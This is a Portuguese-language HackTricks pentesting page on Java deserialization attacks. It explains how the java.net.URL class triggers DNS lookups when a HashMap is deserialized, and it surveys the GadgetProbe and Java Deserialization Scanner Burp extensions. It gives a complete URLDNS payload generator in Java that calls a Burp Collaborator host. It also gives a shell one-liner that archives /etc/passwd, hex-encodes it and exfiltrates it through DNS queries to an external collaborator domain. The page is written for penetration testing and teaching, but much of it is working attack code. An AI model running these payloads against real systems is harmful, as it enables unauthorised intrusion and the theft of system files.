hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

11 KiB

Java DNS Deserialization, GadgetProbe e Java Deserialization Scanner

Java DNS Deserialization, GadgetProbe e Java Deserialization Scanner

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Requisição DNS na deserialização

A classe java.net.URL implementa Serializable, isso significa que esta classe pode ser serializada.

public final class URL implements java.io.Serializable {
Esta classe tem um **comportamento curioso.** De acordo com a documentação: "**Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos nos mesmos endereços IP**".
Então, toda vez que um objeto URL chama **qualquer** das **funções `equals`** ou **`hashCode`**, uma **solicitação DNS** para obter o endereço IP será **enviada**.

**Chamar** a função **`hashCode`** **de** um objeto **URL** é bastante fácil, basta inserir este objeto dentro de um `HashMap` que vai ser desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

A função vai executar putVal com cada valor dentro do HashMap. Mas, mais relevante é a chamada para hash com cada valor. Este é o código da função hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Como você pode observar, ao deserializar um HashMap, a função hash será executada com cada objeto e durante a execução do hash, será executado .hashCode() do objeto. Portanto, se você deserializar um HashMap contendo um objeto URL, o objeto URL irá executar .hashCode().

Agora, vamos dar uma olhada no código de URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Como você pode ver, quando um URLObject executa .hashCode(), é chamado hashCode(this). A seguir, você pode ver o código desta função:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Você pode ver que um getHostAddress é executado no domínio, iniciando uma consulta DNS.

Portanto, esta classe pode ser abusada para iniciar uma consulta DNS para demonstrar que a deserialização é possível, ou até mesmo para exfiltrar informações (você pode anexar como subdomínio a saída de uma execução de comando).

Exemplo de código de payload URLDNS

Você pode encontrar o código de payload URDNS do ysoserial aqui. No entanto, apenas para facilitar o entendimento de como codificá-lo, criei meu próprio PoC (baseado no do ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Mais informações

GadgetProbe

Você pode baixar o GadgetProbe da Burp Suite App Store (Extender).

GadgetProbe tentará descobrir se algumas classes Java existem na classe Java do servidor para que você possa saber se está vulnerável a algum exploit conhecido.

Como funciona

GadgetProbe usará o mesmo payload DNS da seção anterior mas antes de executar a consulta DNS, ele tentará deserializar uma classe arbitrária. Se a classe arbitrária existir, a consulta DNS será enviada e o GadgetProbe notará que esta classe existe. Se a solicitação DNS nunca for enviada, isso significa que a classe arbitrária não foi deserializada com sucesso, então ou ela não está presente ou não é serializável/explorável.

Dentro do github, GadgetProbe tem algumas wordlists com classes Java para serem testadas.

Mais Informações

Scanner de Deserialização Java

Este scanner pode ser baixado da Burp App Store (Extender).
A extensão possui capacidades passivas e ativas.

Passivo

Por padrão, ele verifica passivamente todas as solicitações e respostas enviadas procurando por bytes mágicos de serialização Java e apresentará um aviso de vulnerabilidade se algum for encontrado:

Ativo

Teste Manual

Você pode selecionar uma solicitação, clicar com o botão direito e Enviar solicitação para DS - Teste Manual.
Então, dentro da Aba Scanner de Deserialização --> Aba de teste manual você pode selecionar o ponto de inserção. E iniciar o teste (Selecione o ataque apropriado dependendo da codificação usada).

Mesmo sendo chamado de "Teste Manual", é bastante automatizado. Ele verificará automaticamente se a deserialização é vulnerável a qualquer payload ysoserial verificando as bibliotecas presentes no servidor web e destacará as vulneráveis. Para verificar as bibliotecas vulneráveis você pode escolher lançar Javas Sleeps, sleeps via consumo de CPU, ou usando DNS como já foi mencionado anteriormente.

Explorando

Uma vez que você identificou uma biblioteca vulnerável, você pode enviar a solicitação para a Aba de Exploração.
Nesta aba, você tem que selecionar o ponto de injeção novamente, e escrever a biblioteca vulnerável para a qual deseja criar um payload, e o comando. Então, basta pressionar o botão de Ataque apropriado.

Informações sobre Exfil DNS de Deserialização Java

Faça seu payload executar algo como o seguinte:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Mais Informações

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: